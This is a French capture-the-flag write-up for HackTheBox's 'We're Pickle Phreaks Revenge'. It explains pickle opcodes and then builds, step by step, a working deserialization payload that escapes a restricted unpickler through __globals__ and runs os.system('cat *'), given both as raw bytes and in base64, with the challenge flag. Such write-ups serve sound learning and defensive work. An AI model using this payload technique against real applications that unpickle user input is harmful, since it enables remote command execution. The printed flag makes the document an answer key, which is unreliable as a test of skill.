We're Pickle Phreaks Revenge

10 minute read

Intro

Voici un write-up du challenge “We’re Pickle Phreaks Revenge” du ctf Cyber Apocalypse 2024 d’HackTheBox, classé Médium dans la catégorie misc.

Après avoir flag le challenge d’un polyglot, j’ai rejoins @eparisot sur cette jail.

Le challenge étant principalement basé sur l’exploitation de pickle, une explication de cette fonctionnalité de python s’impose.

Pickle késaco

Un pickle est la représentation textuelle d’un objet python, cette bibliothèque permet par exemple de sauvegarder l’état d’un objet en le “dumpant” (str = pickle.dumps(obj)).
Elle permet aussi de le recharger en “loadant” (obj = pickle.loads(str)) la string précédement dumpé.

Fonctionnellement parlant, la chaine d’octet picklé est enfaite la représentation d’une suite d’instruction (comme l’assembleur) propre à pickle lui même.
Lors du chargement d’un objet par le biais d’une string pickle, les instructions sont interprétées et peuvent stocker des élements dans une stack LIFO.
Les instructions sont disponible ici (version 3.8).

Voici un exemple simple de “programme” en pickle :

ps : la méthode dis de pickletools permet d’obtenir une interprétation du bytecode en instruction lisible

 1>>> s = b'\x80\x04\x95\x05\x00\x00\x00\x00\x00\x00\x00\x8c\x06coucou\x85.'
 2>>> pickletools.dis(s)
 3    0: \x80 PROTO      4
 4    2: \x95 FRAME      5
 5   11: \x8c SHORT_BINUNICODE 'coucou'
 6   19: \x85 TUPLE1
 7   20: .    STOP
 8highest protocol among opcodes = 4
 9>>> pickle.loads(s)
10('coucou',)

Ici, la partie qui nous intéresse commence à SHORT_BINUNICODE (\x8c). C’est une instruction pour push une str. Il faut ensuite la taille de cette str, ici \x06 soit 6, puis la string, ici “coucou”.
Lors de l’exécution, cette string est mise sur le haut de notre stack.

L’instruction TUPLE1 (\x85) va ensuite pop le premier élément de notre stack (ici une str contenant “coucou”) et va le push sous forme de tuple.

Le STOP (.) signifie la fin du programme.

Lors d’un loads(), le dernier élement sur la stack est renvoyé, ici le tuple contenant la string coucou.

Tatonnement du challenge

Lors du lancement du programme, ce dernier nous propose 3 options :

  • Voir les membres
  • Ajouter un membre
  • Quitter le programme

screen de l’execution du programme

screen de l’execution du programme

Notre nouveau membre ne fonctionne pas, au vu du message d’erreur, le programme attendait que l’on rentre notre membre en base64.

Explication du challenge

Le programme démarre en initialisant des classes Phreaks, ces Phreaks sont ensuite picklé via une fonction de protection nommée pickle et stockés dans une variable global members.

 1members = []
 2
 3class Phreaks:
 4    def __init__(self, hacker_handle, category, id):
 5        self.hacker_handle = hacker_handle
 6        self.category = category
 7        self.id = id
 8
 9    def display_info(self):
10        print(f'Hacker Handle    {self.hacker_handle}')
11        [...]
12
13def add_existing_members():
14    members.append(pickle(Phreaks('Skrill', 'Rev', random.randint(1, 10000))))
15    members.append(pickle(Phreaks('Alfredy', 'Hardware', random.randint(1, 10000))))
16    members.append(pickle(Phreaks('Suspicious', 'Pwn', random.randint(1, 10000))))
17    members.append(pickle(Phreaks('Queso', 'Web', random.randint(1, 10000))))
18    [...]
19
20def main():
21    add_existing_members()
22    [...]

La fonction de protection pour pickler va simplement mettre en base64 notre objet et le pickler (la variable global members est donc une list de string en base64 d’objet python picklé).

1def pickle(obj):
2    return b64encode(_pickle.dumps(obj))

Le programme va ensuite boucler à l’infini et nous proposer :

  • d’ajouter un Phreaks
  • de voir les Phreaks
1def main():
2    [...]
3    while True:
4        option = int(input('> '))
5        if option == 1:
6            view_members()
7        elif option == 2:
8            register_member()
9    [...]

La fonctionnalité d’ajout de membre nous demande de rentrer notre Phreaks (sous la forme d’une classe python picklé encodé en base64)

1def register_member():
2    pickle_data = input('Enter new member data: ')
3    members.append(pickle_data)

La fonction permettant de voir les membres itère sur la variable global members, utilise une fonction de désérialisation nommée unpickle. Elle exécute ensuite leur méthode display_info.

1def view_members():
2    for member in members:
3        try:
4            member = unpickle(member)
5            member.display_info()
6    [...]

La fonction de désérialisation nommée unpickle fonctionne comme suit :

  • Elle enlève l’encodage base64 de notre string
  • Elle initialise une classe RestrictedUnpickler en passant en argument notre string picklé
  • Elle utilise la méthode load afin de convertir la string en objet python
1def unpickle(data):
2    return RestrictedUnpickler(BytesIO(b64decode(data))).load()

RestrictedUnpickler est une classe défini dans le challenge. Classe héritant de _pickle.Unpickler et qui surcharge la fonction find_class.

1ALLOWED_PICKLE_MODULES = ['__main__', 'app']
2UNSAFE_NAMES = ['__builtins__', 'random']
3
4class RestrictedUnpickler(_pickle.Unpickler):
5    def find_class(self, module, name):
6        print(module, name)
7        if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
8            return super().find_class(module, name)
9        raise _pickle.UnpicklingError()

Avant de comprendre son usage, il s’agit de comprendre l’utilité originelle de cette fonction find_class.

(code tronqué issue du code source de pickle)

1    def find_class(self, module, name):
2        [...]
3        __import__(module, level=0)
4        [...]
5        return getattr(sys.modules[module], name)

Cette fonction prend en paramètre 2 str, module et name, elle importe le module et fait ensuite un getattr du name sur le nouveau module importé.

Cette fonction est notamment appelé par l’instruction STACK_GLOBAL (\x93). Cette instruction pop 2 str (module et name) du haut de notre stack pickle et appelle find_class avec en argument ces 2 str.
Elle push ensuite le résultat de cette fonction sur notre stack.

Exemple:

 1>>> s = b'\x80\x04\x95\x09\x00\x00\x00\x00\x00\x00\x00\x8c\x02os\x8c\x06system\x93.'
 2>>> pickletools.dis(s)
 3    0: \x80 PROTO      4
 4    2: \x95 FRAME      9
 5   11: \x8c SHORT_BINUNICODE 'os'
 6   15: \x8c SHORT_BINUNICODE 'system'
 7   23: \x93 STACK_GLOBAL
 8   24: .    STOP
 9highest protocol among opcodes = 4
10>>> pickle.loads(s)
11<built-in function system>

Ici, on met sur notre stack la string os, puis la string system. Ensuite, on fait un STACK_GLOBAL ce qui va importer le module os puis faire un getattr(os, 'system'), nous renvoyant la fonction system.


Revenons à notre fonction find_class surchargé.

1ALLOWED_PICKLE_MODULES = ['__main__', 'app']
2UNSAFE_NAMES = ['__builtins__', 'random']
3
4def find_class(self, module, name):
5    print(module, name)
6    if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
7        return super().find_class(module, name)
8    raise _pickle.UnpicklingError()

Ici, la fonction throw une erreur si le premier argument module est autre que __main__ ou app. (Le module à importer)

Elle throw également une erreur si l’argument name commence par __builtins__ ou random. (L’objet à résoudre sur le module)

Enfin, si module et name respectent les restrictions imposées, la fonction find_class originelle est appelée.

Pwn

Ici, notre but va être de créer un nouveau Phreaks en envoyant une suite d’instruction pickle en base64.
Puis de voir les membres (ce qui va enlever l’encodage base64 et unpickle) afin d’avoir une exécution de notre bytecode pickle.
Le tout en tentant de contourner les restrictions mise en place sur find_class.

Il n’est pas possible de simplement récuperer system comme dans l’exemple ci-dessus, car le chargement d’autres modules que app ou __main__ est interdit (on chargerait ici le module os).

Notre but premier va être de récuperer les builtins afin d’obtenir l’objet import.

Nous sommes en python 3.8, dans cette version, les fonctions possèdent un attribut de type dict nommé __globals__. Ce dict possède entre autre les builtins (la clé est __builtins__).

ps : en python 3.10 et versions supérieurs, les fonctions ne possèdent plus l’attribut __globals__ mais possèdent à la place l’attribut __builtins__.

Exemple:

1>>> import app
2>>> app.add_existing_members.__globals__.get('__builtins__')
3{'__name__': 'builtins', '__doc__': "Built-in functions, exceptions, and oth[...]

On sait désormais comment récuperer la méthode get de l’objet __global__ via pickle mais un problème subsiste. Comment faire (en pickle) pour l’appeler ?

L’instruction REDUCE (r) va nous être utile, cette instruction attend sur notre stack l’objet à appeler (ici la méthode get de l’objet __globals__) et un tuple contenant les arguments à passer à la fonction.

 1>>> s = b'\x80\x04\x95\x39\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x8c\x24add_existing_members.__globals__.get\x93\x8c\x0c__builtins__\x85R.'
 2>>> pickletools.dis(s)
 3    0: \x80 PROTO      4
 4    2: \x95 FRAME      57
 5   11: \x8c SHORT_BINUNICODE 'app'
 6   16: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
 7   54: \x93 STACK_GLOBAL
 8   55: \x8c SHORT_BINUNICODE '__builtins__'
 9   69: \x85 TUPLE1
10   70: R    REDUCE
11   71: .    STOP
12highest protocol among opcodes = 4
13>>> pickle.loads(s)
14{'__name__': 'builtins', '__doc__': "Built-in f[...]

Pour résumer:

  • push 'app'
  • push 'add_existing_members.__globals__.get'
  • exécuter STACK_GLOBAL afin d’obtenir la méthode get
  • push '__builtins__'
  • exécuter TUPLE1 pour mettre '__builtins__' sous forme de tuple
  • exécuter REDUCE afin de faire un __globals__.get('__builtins__')

On arrive à récuperer les builtins python sous la forme d’un dict dans notre stack pickle, on ne peux toutefois rien en faire car nous n’avons pas accès à getattr afin d’accèder aux méthodes tel que __import__.

Pour y avoir accès, on va relocaliser nos builtins dans un endroit plus accessible. Dans notre cas, nous avons choisi de les relocaliser dans les globals de la fonction qui vient de nous permettre d’obtenir les builtins.
On souhaite les copier en utilisant la méthode update du dict contenant les globals.

Retranscit en python, ce que l’on souhaite faire ressemble à cela:

1>>> var = app.add_existing_members.__globals__.get('__builtins__')
2>>> app.add_existing_members.__globals__.update(var)
3>>> app.add_existing_members.__globals__.get('__import__')
4<built-in function __import__>

On va donc push sur notre stack la méthode update de __globals__, nos __builtins__, faire un TUPLE1, puis un REDUCE.

 1    0: \x80 PROTO      4
 2    2: \x95 FRAME      107
 3   11: \x8c SHORT_BINUNICODE 'app'
 4   16: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.update'
 5   57: \x93 STACK_GLOBAL
 6   58: \x8c SHORT_BINUNICODE 'app'
 7   63: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
 8  101: \x93 STACK_GLOBAL
 9  102: \x8c SHORT_BINUNICODE '__builtins__'
10  116: \x85 TUPLE1
11  117: R    REDUCE
12  118: \x85 TUPLE1
13  119: R    REDUCE
14  120: .    STOP

ps : Notez que le code ici présent, bien qu’un peu complexe au premier abord, change très peu de celui de la vidéo ci-dessus. Seuls l’obtention de la méthode update et l’utilisation de cette dernière via un TUPLE1, REDUCE supplémentaire ont été ajouté.

On peut maintenant accèder aux builtins en passant par l’objet __globals__ de notre fonction add_existing_members !

Nous allons avoir besoin d’un getattr afin d’accèder à la méthode system du module os que nous allons importer par la suite. Nous allons donc push un “gadget” getattr.

1  120: \x8c SHORT_BINUNICODE 'app'
2  125: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
3  163: \x93 STACK_GLOBAL
4  164: \x8c SHORT_BINUNICODE 'getattr'
5  173: \x85 TUPLE1
6  174: R    REDUCE

Puis on va push la fonction __import__, la string os et récuperer le module os dans notre stack.

1  175: \x8c SHORT_BINUNICODE 'app'
2  180: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
3  218: \x93 STACK_GLOBAL
4  219: \x8c SHORT_BINUNICODE '__import__'
5  231: \x85 TUPLE1
6  232: R    REDUCE
7  233: \x8c SHORT_BINUNICODE 'os'
8  237: \x85 TUPLE1
9  238: R    REDUCE

Notre “gadget” getattr pushé précédemment va maintenant nous être utile, notre stack est actuellement composée, de haut en bas :

  • le module os
  • la fonction builtin getattr

On va donc push la string system et exécuter TUPLE2 afin d’avoir un tuple contenant le module os et la string system. Puis exécuter REDUCE afin d’obtenir la fonction system dans notre stack.

  • ps : à la différence de TUPLE1, TUPLE2 met dans un tuple les 2 argments du haut de notre stack (à la place d’un seul)
  • ps2 : TUPLE3 existe
1  239: \x8c SHORT_BINUNICODE 'system'
2  247: \x86 TUPLE2
3  248: R    REDUCE

Notre stack est maintenant composé de la fonction system.
Pour exécuter celle-ci, il nous suffit de push une str contenant la commande à executer (ici cat *), d’exécuter TUPLE1 et REDUCE.

1  249: \x8c SHORT_BINUNICODE 'cat *'
2  256: \x85 TUPLE1
3  257: R    REDUCE
4  258: .    STOP

Résumé de l’exploit :

  • push __globals__.update afin de relocaliser les builtins
  • push nos builtins
  • appeler la fonction update avec nos builtins en argument
  • push un getattr
  • récupérer le module os
  • faire usage du getattr pour récupérer system sur le module os
  • appeler system avec en argument une commande à executer

Assemblage de la charge utile :

 1    0: \x80 PROTO      4
 2    2: \x95 FRAME      243
 3   11: \x8c SHORT_BINUNICODE 'app'
 4   16: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.update'
 5   57: \x93 STACK_GLOBAL
 6   58: \x8c SHORT_BINUNICODE 'app'
 7   63: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
 8  101: \x93 STACK_GLOBAL
 9  102: \x8c SHORT_BINUNICODE '__builtins__'
10  116: \x85 TUPLE1
11  117: R    REDUCE
12  118: \x85 TUPLE1
13  119: R    REDUCE
14  120: \x8c SHORT_BINUNICODE 'app'
15  125: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
16  163: \x93 STACK_GLOBAL
17  164: \x8c SHORT_BINUNICODE 'getattr'
18  173: \x85 TUPLE1
19  174: R    REDUCE
20  175: \x8c SHORT_BINUNICODE 'app'
21  180: \x8c SHORT_BINUNICODE 'add_existing_members.__globals__.get'
22  218: \x93 STACK_GLOBAL
23  219: \x8c SHORT_BINUNICODE '__import__'
24  231: \x85 TUPLE1
25  232: R    REDUCE
26  233: \x8c SHORT_BINUNICODE 'os'
27  237: \x85 TUPLE1
28  238: R    REDUCE
29  239: \x8c SHORT_BINUNICODE 'system'
30  247: \x86 TUPLE2
31  248: R    REDUCE
32  249: \x8c SHORT_BINUNICODE 'cat *'
33  256: \x85 TUPLE1
34  257: R    REDUCE
35  258: .    STOP
1>>> s = b'\x80\x04\x95\x01\x00\x00\x00\x00\x00\x00\x00\x8c\x03app\x8c\x27add_existing_members.__globals__.update\x93\x8c\x03app\x8c\x24add_existing_members.__globals__.get\x93\x8c\x0c__builtins__\x85R\x85R\x8c\x03app\x8c\x24add_existing_members.__globals__.get\x93\x8c\x07getattr\x85R\x8c\x03app\x8c\x24add_existing_members.__globals__.get\x93\x8c\x0a__import__\x85R\x8c\x02os\x85R\x8c\x06system\x86R\x8c\x05cat *\x85R.'
2>>> base64.b64encode(s)
3b'gASVAQAAAAAAAACMA2FwcIwnYWRkX2V4aXN0aW5nX21lbWJlcnMuX19nbG9iYWxzX18udXBkYXRlk4wDYXBwjCRhZGRfZXhpc3RpbmdfbWVtYmVycy5fX2dsb2JhbHNfXy5nZXSTjAxfX2J1aWx0aW5zX1+FUoVSjANhcHCMJGFkZF9leGlzdGluZ19tZW1iZXJzLl9fZ2xvYmFsc19fLmdldJOMB2dldGF0dHKFUowDYXBwjCRhZGRfZXhpc3RpbmdfbWVtYmVycy5fX2dsb2JhbHNfXy5nZXSTjApfX2ltcG9ydF9fhVKMAm9zhVKMBnN5c3RlbYZSjAVjYXQgKoVSLg=='

screen de l’execution avec envoie du payload


screen de l’execution de notre payload

HTB{Y0U_7h1nK_JUs7_ch3ck1n9_S0M3_m0DUL3_NAm3s_1s_3n0u9H_70_s70p_93771n9_Pwn3d??}

Conclusion

Des exploits bien plus simple en utilisant pikora existent mais le faire à la main est bien plus classe !

Challenge bien prise de tête surtout quand la version de python n’est pas indiqué (les builtins sont bien plus facilement récupérable en 3.11).